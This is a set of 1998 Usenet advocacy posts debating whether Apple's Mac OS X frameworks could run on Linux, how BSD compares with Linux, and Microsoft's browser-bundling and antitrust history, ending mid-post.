Message-ID: <jrnaylor-2312981313140001@ts001d39.wic-ks.concentric.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net>
In article <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net>, tzs@halcyon.com
(Tim Smith) wrote:
[snip a great, fat chance, idea!]
>This would come installed on new Macs. To the end user, it would look a lot
>like today's Macs look--you turn it on, and when it finishes booting, you are
>in Finder.
>
>Those who want to take advantage of Unix would be free to install other Unix
>stuff (smtp servers, web servers, etc.).
>
>--Tim Smith
Now we're talkin'. Anybody know Job's email address to forward this thread to?
From: posterkid@psnw.com (posterkid)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: 23 Dec 1998 19:04:30 GMT
Organization: hard ass net.fascists
Message-ID: <slrn782flu.2vn.posterkid@mammoth.psnw.com>
References: <ol_f2.207$G92.1825@typhoon-sf.snfc21.pbi.net>
Mail-Copies-To: never
ix@ix.ix <ix@ix.ix> wrote:
>On 12/22/98, "Greg Alexander" wrote:
>>>>>>>They aren't--but the upper levels of OSX are "portable" so potentally
>>>>>>>it could be put on top of Linux.
>
>OSX is already on BSD Unix. What is the significant difference between BSD and
>Linux other than hype? I doubt most Linux users have a good answer for
>this question.
BSD has a better networking layer, Linux has a larger support base and
potential for future growth due to this support base. BSD does a lot
of things differently, if you aren't only talking about the kernel (init,
various program flags, their own libc).
This isn't a slam on Linux or BSD, just opinion. Let's not make this a
"prove BSD has a better networking layer!!!!!" flamewar.
Assuming OSX followed POSIX and didn't use too many BSD-isms, it should
not be difficult to get it running on Linux.
--
GPG & PGP public keys: <URL:http://www.psnw.com/~posterkid/keys/>
PGP fingerprint: 42 57 B3 D2 39 8E 74 C3 5E 4D AC 43 25 D2 26 D4
From: posterkid@psnw.com (posterkid)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,alt.jpd.stole.my.k0dez
Subject: Re: Apple-M$: Linux Nightmare?
Date: 23 Dec 1998 19:07:26 GMT
Organization: hard ass net.fascists
Message-ID: <slrn782fre.2vn.posterkid@mammoth.psnw.com>
References: <joe.ragosta-2312981348490001@elk34.dol.net>
Mail-Copies-To: never
Joe Ragosta <joe.ragosta@dol.net> wrote:
>In article <slrn77vu0d.6kl.jedi@dementia.mishnet>, jedi@dementia.mishnet
>() wrote:
>
>> On Tue, 22 Dec 1998 09:17:12 -0800, c hand
><ch3@earthlink.net.rem.ove.this> wrote:
>> >> They benefit considerably. Linux users are the market they
>> >> lost becuase their machines were price competitive with new
>> >> pickup trucks and not other microcomputer hardware.
>> >
>> >Really? You have some numbers to back this up? Or are you just
>> >pulling this out of thin air? Wouldn't logic dictate that the
>> >people they lost to other machines went to Windows. I hardly think
>> >that the Linux croud are ex-Mac people.
>>
>> All the users I know personally and a great deal of the
>> one's I know professionally only deal with WinTel as a
>> matter of market driven realities.
>
>Which "reality" is that?
>
>Your inability to differentiate between quality and popularity?
Did he say anything about quality or popularity? He said 'market-driven'.
For *whatever* reason, WinTel is used in the majority of business a hell
of a lot more than Macintosh.
Back under your bridge, troll, the only "reality" you have is what
happens when you forget to take your meds and decide to post to Usenet.
--
GPG & PGP public keys: <URL:http://www.psnw.com/~posterkid/keys/>
PGP fingerprint: 42 57 B3 D2 39 8E 74 C3 5E 4D AC 43 25 D2 26 D4
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <366C7A67.6CD891C@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <Macghod-0712981615150001@sdn-ar-001casbarp310.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sun, 20 Dec 1998 05:38:43 GMT
NNTP-Posting-Date: Sun, 20 Dec 1998 14:38:43 JST
Organization: Global Online Japan
Steve wrote:
>
> In article <366C5B06.41F8EA24@ericsson.com>, Michael Peck
> <michael.peck@ericsson.com> wrote:
>
> > "I need to make this change to the code."
> >
> > "Okay, write a business case, then fix the code."
> >
> > "No, it'll take me 5 seconds. Look..." [pause] "There, it's done."
> >
> > "Okay, now just get me that business case and we'll be all set."
>
> Is this life imitating Dilbert, or did you just take this from Dilbert?
I've never seen that Dilbert, if it was one. I've seen it happen at
unnamed employers at least twice.
MJP
From: luomat@peak.org.obvious.portion (TjL)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: nntp server
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <74h647$uuk$1@nnrp1.dejanews.com>
Message-ID: <JR_a2.237$o44.630613@newshog.newsread.com>
Date: Sun, 20 Dec 1998 05:38:38 GMT
NNTP-Posting-Date: Sun, 20 Dec 1998 14:38:38 JST
Organization: Global Online Japan
In <74h647$uuk$1@nnrp1.dejanews.com> josborn@depauw.edu wrote:
> Is there a public nntp server out there in the world that I can use news
> grazer with; dejanews is driving me crazy.
There are.
There are lists of them around... I can't seem to find the email I had
describing them... but a search engine on 'open nntp server' might help
Most of them are terribly slow, however.
TjL
--
Spam-altered address in effect, remove obvious portion if
replying by email.
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Wed, 23 Dec 1998 12:07:53 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn782jcp.1r2.jedi@dementia.mishnet>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <ch3-2212980917120001@1cust184.tnt1.redmond.wa.da.uu.net> <slrn77vu0d.6kl.jedi@dementia.mishnet> <joe.ragosta-2312981348490001@elk34.dol.net>
On Wed, 23 Dec 1998 13:48:49 -0500, Joe Ragosta <joe.ragosta@dol.net> wrote:
>In article <slrn77vu0d.6kl.jedi@dementia.mishnet>, jedi@dementia.mishnet
>() wrote:
>
>> On Tue, 22 Dec 1998 09:17:12 -0800, c hand
><ch3@earthlink.net.rem.ove.this> wrote:
>> >> They benefit considerably. Linux users are the market they
>> >> lost becuase their machines were price competitive with new
>> >> pickup trucks and not other microcomputer hardware.
>> >
>> >Really? You have some numbers to back this up? Or are you just
>> >pulling this out of thin air? Wouldn't logic dictate that the
>> >people they lost to other machines went to Windows. I hardly think
>> >that the Linux croud are ex-Mac people.
>>
>> All the users I know personally and a great deal of the
>> one's I know professionally only deal with WinTel as a
>> matter of market driven realities.
>
>Which "reality" is that?
>
>Your inability to differentiate between quality and popularity?
Popular ~ what you can buy and what you can convince
people to pay money for. This is what real people and
not mindless marginal-platform-advocates have to deal
with.
While being able to get a TT/PPC at Best Buy would
certainly be nice, or even being able to support the
MacOS as a game development platform, neither is
going to happen.
Your 'but we made the best product' appleisms aren't
going to change that. We've things besides computers
to spend money on (like rent & trips to Paris).
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 23 Dec 1998 15:22:28 -0500
Organization: phenix@interpath.com
Message-ID: <1dkhwt8.1txgtsv1jj9tsyN@roxboro0-034.dyn.interpath.net>
References: <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net> <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> <367f5fb3.0@stan.astra.co.uk> <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net> <3680cd17.0@stan.astra.co.uk> <1dkhjje.15cy42r14hqxcdN@roxboro0-034.dyn.interpath.net> <F4FIKG.608@T-FCN.Net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> John Moreno wrote:
> > So why should they switch from one framework to another when they don't
> > have any confidence that it will be around in a year?
>
> Well if you don't feel YB will be around in a year, then you may as well
> give up on what you have now as well. Any calamity that I can see that
> would kill all of YB - being a central part of WO - would require Apple
> going down with it. Note that this has nothing at all to do with the OS,
> that's a totally different issue.
>
> Still it all comes down to everyone believing that the "new Apple" is
> _identical_ to the "old Apple". I see little reason to believe this is so.
Or sell it off or put it in "maintenance" mode.
> > Apple's "key" technologies are simply things they want to promote today
> > -- as soon as they flipflop again it would be dropped.
>
> Again, that's a characteristic of the old Apple.
It hasn't been proven that there is a "new" Apple (despite them being
acquired by NeXT).
> > Apple deciding not to drop support of an API or framework is hardly in
> > the class of getting hit by an asteroid -- more along the lines of being
> > in a fender bender (if you're a habitual drunk driver).
>
> Old Apple.
>
> Really, is everyone so burnt by the morons that used to run engineering
> that you all believe there's absolutely no hope whatsoever that they have
> changed even in the slightest?
Absolutely no hope? No. But believing it before seeing it? No.
Once it can be bought through MacConnection, I (and others) will /begin/
to have some hope for it. Until then, it's just one more pre-announcement
that, if ever delivered, *would* be great. But until it's on most of the
hardware they are shipping it's only "would" not "will".
--
John Moreno
Subject: Re: Apple-M$: Linux Nightmare?
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <ol_f2.207$G92.1825@typhoon-sf.snfc21.pbi.net> <slrn782flu.2vn.posterkid@mammoth.psnw.com>
In-Reply-To: <slrn782flu.2vn.posterkid@mammoth.psnw.com>
From: ix@ix.ix
Message-ID: <iDcg2.407$G92.5290@typhoon-sf.snfc21.pbi.net>
Date: Wed, 23 Dec 1998 20:45:02 GMT
NNTP-Posting-Date: Wed, 23 Dec 1998 12:45:02 PDT
Organization: SBC Internet Services
On 12/23/98, posterkid wrote:
>ix@ix.ix <ix@ix.ix> wrote:
>>OSX is already on BSD Unix. What is the significant difference between BSD and
>>Linux other than hype? I doubt most Linux users have a good answer for
>>this question.
>
>BSD has a better networking layer, Linux has a larger support base and
>potential for future growth due to this support base. BSD does a lot
>of things differently, if you aren't only talking about the kernel (init,
>various program flags, their own libc).
A friend of mine runs Linux executables on FreeBSD. I would guess that OSX
will be able to do the same(?) So what is to be gained (other than hype) by
moving to Linux? Not that hype isn't valuable, it does after all drive most
of the industry. But technicaly, what's the difference that is relevant to OSX?
Why not just rename the Mach/BSD layer "AppleLinux X" or something and cash
in on the Linux religion, in the same way that NeXTstep was renamed Mac OS X to
cash in on the Mac religion?
Steve
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Tue, 22 Dec 1998 12:31:47 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn7800dj.6kl.jedi@dementia.mishnet>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com> <75ivpt$is9$3@csu-b.csuohio.edu> <367d5206.390060@news2.asan.com> <36823c11.41939338@news1.bway.net> <1dkeotl.t2me8r1cg18eeN@tnt02dla090.escape.ca>
On Tue, 22 Dec 1998 07:59:46 GMT, Gerry Beggs <gbeggs@escape.ca> wrote:
>-= G D T =- <root@anarchy.gov> wrote:
>
>> |Unlike Communicator, which takes up about a quarter of your screen
>> |with it's interface. What do I need all that crap for? It's just
>> |sitting there doing nothing most of the time. Microsoft decided to
>> |turn that dead screen space into useful space.
>>
>> Oh, let me add, Netscape had this fullscreen feature first almost a
>> year ago.
>
>Do you know how to get to full screen in Communicator 4.x?
I don't recall how BMC managed it. However, you can
minimize all of those toolbars if you're THAT cramped
for space.
>I remember it from 3.x, but It's either no longer there, or the command
>has changed.
>
>It used to be command-shift-A or something like that.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: SPAMBGONEmbkennelSPAMBGONE@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 23 Dec 1998 21:25:32 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn782nub.94k.SPAMBGONEmbkennelSPAMBGONE@lyapunov.ucsd.edu>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <slrn77dv97.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <3677050B.69FE4314@nstar.net> <slrn77e2hk.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <36793872.1759FF5@nstar.net>
NNTP-Posting-Date: 23 Dec 1998 21:25:32 GMT
On Thu, 17 Dec 1998 10:59:30 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
:> So: what do you want?
:
:I want what I like about NeXTstep: the development libraries and
:frameworks. I want them on Linux. And I want Mac OS X to be a good Unix.
:That's it, that's what I want. I think I've been fairly consistent on
:these points.
In what circumstances would you prefer Mac OS X to Linux as a 'good Unix'?
You've already said you didn't like the NeXTSTEP UI; does this apply
to the MacOS UI too? You've said you didn't like too many
user-friendly features hiding the underlying UNIX on NeXTSTEP. It
seems that MacOS X will follow this path to an even greater extent, on
account of the very large Mac userbase. Apple knows where its money
comes from.
This is why I suspect you wouldn't like Mac OS X.
We're not Apple salesmen, just computer users and programmers.
I use Linux, I like it. It would be nice to have YB on Linux.
I doubt that Apple has the money or time to complete this in the near
future.
Personally, I liked the NeXTSTEP UI, and apparently so do many Linux
users, as WindowMaker and Afterstep are quite popular window managers,
despite providing only a thin veneer of the NeXT look.
:MJP
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
Message-ID: <3681729D.6F3AFB05@nstar.net>
Date: Wed, 23 Dec 1998 16:45:49 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk>
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mmalcolm crawford wrote:
[cut]
> So I'm again left looking for the business case for Apple to put this on top
> of Linux...?
You can post skepticism all day and all year and all your lifetime,
mmalcolm. You can make credible arguments against anything and support
nearly any agenda you like. You can ask for business cases and proof and
anything else you like as many times as you like, and you'll probably be
perpetually satisfied with the results, for nobody in this forum is
intimate with Apple finances, and nobody can prove to you one way or
another, beyond a shadow of a doubt, that This or That is a great idea
and will succeed.
Unfortunately for you, that's your last refuge. The fact that it's
necessary to retreat to demands of proof and "business cases" to defend
naysaying indicates to me that you've nothing left to stand on. It's
especially poignant that in 1993 NeXT dropped its hardware, pursued
cross-platforms notions, and
> I'm sorry if all my posts on this subject sound anti-Linux, they're really
> not intended that way, as I hope the above question makes clear. I'd love it
> if I were wrong and Apple found a way to make YB etc available on top of
> Linux -- it would expand the market for our apps and consulting services --
> however for now at least I can't see the commercial benefit for Apple, and
> without that I can't see it happening. Indeed, as I think Colin suggested
> elsewhere, in many respects McOX and Linux can be regarded as competitors...
>
> Best wishes,
>
> mmalc.
Date: Wed, 23 Dec 1998 17:35:37 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
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Date: Wed, 23 Dec 1998 17:34:37 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk>
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mmalcolm crawford wrote:
[cut]
> So I'm again left looking for the business case for Apple to put this on top
> of Linux...?
You can post skepticism all day and all year and all your lifetime,
mmalcolm. You can make credible arguments against anything and support
nearly any agenda you like. You can ask for business cases and proof and
anything else you like as many times as you like, and you'll probably be
perpetually satisfied with the results, for nobody in this forum is
intimate with Apple finances, and nobody can prove to you one way or
another, beyond a shadow of a doubt, that This or That is a great idea
and will succeed.
Unfortunately for you, that's your last refuge. The fact that it's
necessary to retreat to demands of proof and "business cases" to anchor
your naysaying indicates to me that you've nothing left to stand on.
It's especially poignant that in 1993 NeXT dropped its hardware, pursued
cross-platforms notions, and sold the very ideas you now fight. A scant
year later Sun Microsystems began its cross-platform Java initiative. In
the years since, for various reasons, we've seen a refutation of the
argument that Windows would dominate the industry, the rise of a free,
alternative operating system, and the proliferation of networks with
great need for interoperability at all levels.
Historically speaking, it's difficult to see any other course forward
for Apple. We've watched Apple shun the forward-thinking steps that
could lead it to greatness over and over again. Unfortunately, the
decisions are always made by bean-counters who masquerade as
visionaries: they talk oh, so boldly in public but when it comes time to
do something truly visionary under pressure they fold and plead, for
their defense, that there was no "business case". Time and again, when
the measures were inevitably implemented to still the cries of customers
and shareholders, the complaints from observers were the same: too
little, too late.
> I'm sorry if all my posts on this subject sound anti-Linux, they're really
> not intended that way, as I hope the above question makes clear. I'd love it
> if I were wrong and Apple found a way to make YB etc available on top of
> Linux -- it would expand the market for our apps and consulting services --
> however for now at least I can't see the commercial benefit for Apple, and
> without that I can't see it happening. Indeed, as I think Colin suggested
> elsewhere, in many respects McOX and Linux can be regarded as competitors...
It's not Linux you're against, it's a change in the way you, and
everyone else, would have to look at the future. Linux is part of that.
How interesting that former visionaries can never embrace new visions.
It's as if they've been inoculated, and can never again be touched by
the fever of change. Or maybe it's just that you were willing to embrace
change when you had nothing to lose; now, lulled by the illusory
security of NeXT's position within Apple, you move so cautiously and so
slowly. A comfortable seat on a slow train to obscurity.
MJP
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 23 Dec 98 23:27:34 GMT
Organization: P & L Systems
Message-ID: <36817c66.0@stan.astra.co.uk>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com>
<3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net>
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Cc: mjpeck@nstar.net
In <3681729D.6F3AFB05@nstar.net> "Michael J. Peck" wrote:
> mmalcolm crawford wrote:
> > So I'm again left looking for the business case for Apple to put this on
top
> > of Linux...?
>
> You can post skepticism all day and all year and all your lifetime,
> mmalcolm. You can make credible arguments against anything and support
> nearly any agenda you like. You can ask for business cases and proof and
> anything else you like as many times as you like, and you'll probably be
> perpetually satisfied with the results, for nobody in this forum is
> intimate with Apple finances, and nobody can prove to you one way or
> another, beyond a shadow of a doubt, that This or That is a great idea
> and will succeed.
>
And of such stuff is debates made. So...?
> Unfortunately for you, that's your last refuge. The fact that it's
> necessary to retreat to demands of proof and "business cases" to defend
> naysaying indicates to me that you've nothing left to stand on.
>
Business case != proof.
I really don't see your point about "refuges". I've said that I'd love to
see YB on Linux, but I don't see the business case for Apple at this stage.
What's the problem with that? I'm not bothered if it's my first, last or
only refuge, it remains a valid point -- indeed it's probably about the only
metric by which the subject should be measured, since it's presumably the one
Apple will use to decide if the project would be worthwhile or not.
Even without intimate knowledge of Apple's finances it's readily possible to
see where money might be made, and no-one has yet presented a case for
YB/Linux which looks set to make Apple a profit. Well, except that I helped
Tai by suggesting that a port of WebObjects might be a reasonable starting
point if anything would be.
> It's especially poignant that in 1993 NeXT dropped its hardware, pursued
> cross-platforms notions, and
>
And...?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 23 Dec 98 23:32:19 GMT
Organization: P & L Systems
Message-ID: <36817d83.0@stan.astra.co.uk>
References: <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com>
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<75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost>
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Cc: phenix@interpath.com
In <1dkhjje.15cy42r14hqxcdN@roxboro0-034.dyn.interpath.net> John Moreno
wrote:
> > > > Not at all; YB is an upgrade to the OPENSTEP frameworks which have
been
> > > > working very well as a commercial product for a couple of years.
> > > I meant that for Mac programmers it's a totally new framework
> > So...?
>
> So why should they switch from one framework to another when they don't
> have any confidence that it will be around in a year?
>
For the reasons I outlined subsequently: Apple has committed to it, and it's
a key component of a key technolgy.
> Apple's "key" technologies are simply things they want to promote today
> -- as soon as they flipflop again it would be dropped.
>
Well, if you're not going to believe anything Apple says, there's little
point debating.
> Apple deciding not to drop support of an API or framework is hardly in
> the class of getting hit by an asteroid -- more along the lines of being
> in a fender bender (if you're a habitual drunk driver).
>
Thank goodness, then, that I'm not a habitual drunk driver.
mmalc.
From: Larry Blische <larry@lkba.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 21 Dec 1998 15:57:50 +0000
Organization: newsread.com ISP News Reading Service (http://www.newsread.com)
Message-ID: <367E6FFD.61909F8@lkba.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net> <SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com> <75lv4l$uie$1@bartlet.df.lth.se>
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John Jensen wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> : I expect MacOS X usage to be closer to *STEP than to Macintosh, in that
> : there is more likely to be a central fileserver vending applications.
> : If Apple release Intel and PPC versions of MacOS X then I'd expect dual
> : binary versions of apps to be installed on the servers, to that
> : operation is transparent to users whichever architecture they are using.
>
> To be honest I find this unlikely to become a common architecture. I
> think most Macs sold in the US go to home users. Most homes do not have
> fileservers.
Do you think that Apple should try to play in the company enterprise arena? Or
simply cater to the home market with offerings like the iMac? The nice thing
about the *STEP multi-architecture binary solution is that it works well in
both. And will continue to do so with the advent of future new architectures.
--
Larry Blische * Consultant/Programmer
Desktop Applications : Client/Server : Embedded Systems : Device Drivers :
Etc.
6195 Eagles Nest Drive * Jupiter, Florida 33458 USA
561.747.7844 * NeXT, MIME and ASCII mail Welcome!
mailto:lkb@lkba.com * resume at http://www.charm.net/~lkb/
From: r.e.ballard@usa.net
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 24 Dec 1998 02:40:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75s9ja$l41$1@nnrp1.dejanews.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <75eg2i$mhu$1@vixen.cso.uiuc.edu>
In article <75eg2i$mhu$1@vixen.cso.uiuc.edu>,
peltz@jaka.ece.uiuc.edu (Steve Peltz) wrote:
> In article <36815279.11525103@news.magna.com.au>,
> Sam <sxr@spam.hotmail.com> wrote:
> >The only thing Microsoft is guilty of is being too successful.
>
> They're guilty of quite a few other things;
Microsoft has driven nearly all of it's cometitors off of the MS-Windows
platform by forcing OEMs to accept anticompetitive clauses which create
artificial barriers to entry or reentry.
When Microsoft came out with Windows, WordPerfect was the dominant word
processor, and Lotus Notes was the dominant spreadsheet. Microsoft
went to the OEMs and told them that they had to purchase office if they
wanted OEM rights to Windows. The DOJ stepped in, filed a suit, and
Microsoft tried to settle. The judge rejected the first settlement
and reluctantly accepted the second settlement (1994). Microsoft knew
that it would lose the case. The DOJ thought Microsoft would behave.
Microsoft then undermined the intent of the settlement by using "cliff-tiered"
pricing which meant that OEMs could get Windows only for $300 (full MSRP of
MS-DOS and Windows) or Windows and Office for $350. Office had an MSRP of
$700 at the time. Of course, part of the deal was that everything had to
be preinstalled, preconfigured, and couldn't be removed or "scaled down"
by the OEM. If the customer wanted to remove it, they could. The OEMs,
distributors, and retailers tacked on their profit an the customer was
having the price of a $700 Office suite hidden in the purchase price.
The DOJ prepared to file suit again, saying that Microsoft was in contempt
of court. Microsoft backed down and started offering Microsoft WORKS on
their "Home Machines". Works was brain-dead compared to Office, but it
protected the Microsoft monopoly on document formats. Again, Microsoft
hand evaded the intent of the ruling (to give competitors an equal
opportunity to reach the marketplace).
Finally, Microsoft bundled IE with Windows 95. Initially, Windows was
offered "A la Carte" with the "Plus" pack being offered for an extra $19.
The "Plus" pack wasn't selling very well (most people were unable to
successfully perform the Windows 95 upgrade to 486/VLB machines) and Microsoft
started bundling in the "Plus Pak". The main feature of IE 4.0 and the PLUS
Pack was that it included most of the DLLs used in Microsoft Office as part
of the "Browser" and viewers. Again, the intent was to give Microsoft
control over the document formats. As late as 1996, Microsoft was trying
to convince publishers like McGraw-Hill to publish their web documents in
Word, Excel, and PowerPoint formats as opposed to HTML, GIF, and JPEG formats.
Netscape was beginning to feel the loss of sales of netscape browsers.
Eventually, they were even seeing downloads begin to slow. More important,
Netscape was seeing a drop in web site activity and feared a loss of
operating revenue. Eventually, Netscape decided that Navigator needed to be
preinstalled on the desktop. Netscape went one further. They offered a
WYSIWYG HTML editor, SMTP and POP e-mail, and usenet news. This made
Netscape Communicator a perfect companion for UNIX - the preferred host
operating system for over 85% of the web sites at the time. Netscape began
offering free browsers, along with additional branding and customization
rights, to the OEMs in exchange for the position previously occupied by the
IE browser.
Microsoft had it's own plans. Microsoft intended to take control of the
browser market and - in the process direct all users through MSN, which
would allow Microsoft to monitor traffic and identify the most lucrative
markets. Microsoft could use this insider information to position itself
or it's subsidiaries into the dominant position in these markets.
Microsoft not only wanted control of the browser, but of the web itself.
Microsoft even began using the browser to provide "support features" that
would allow Microsoft to examine files - supposedly for the purpose of
checking software revisions to provide software and patch upgrades. The
same technology could, and probably was used to examine software licenses
(to identify possible pirates), and history logs (to track the browsing
habits of millions of users, including their electronic purchases). It
was not uncommon for network managers to see high traffic volumes from
workstations in the wee hours of the night.
When Compaq decided to install Netscape on one of it's consumer line
computers, Microsoft gave them 30 days notice that their license would
be terminated for breech of contract. Compaq executives sent this letter
to the DOJ, who then proceded, in earnest to prosecute Microsoft for illegal
bundling.
During the investigation of the "Browser Bundling", the DOJ found that there
were many company executives who had been threatened, coerced, and even
forced (blackmail) to agree to contracts which were not in their best
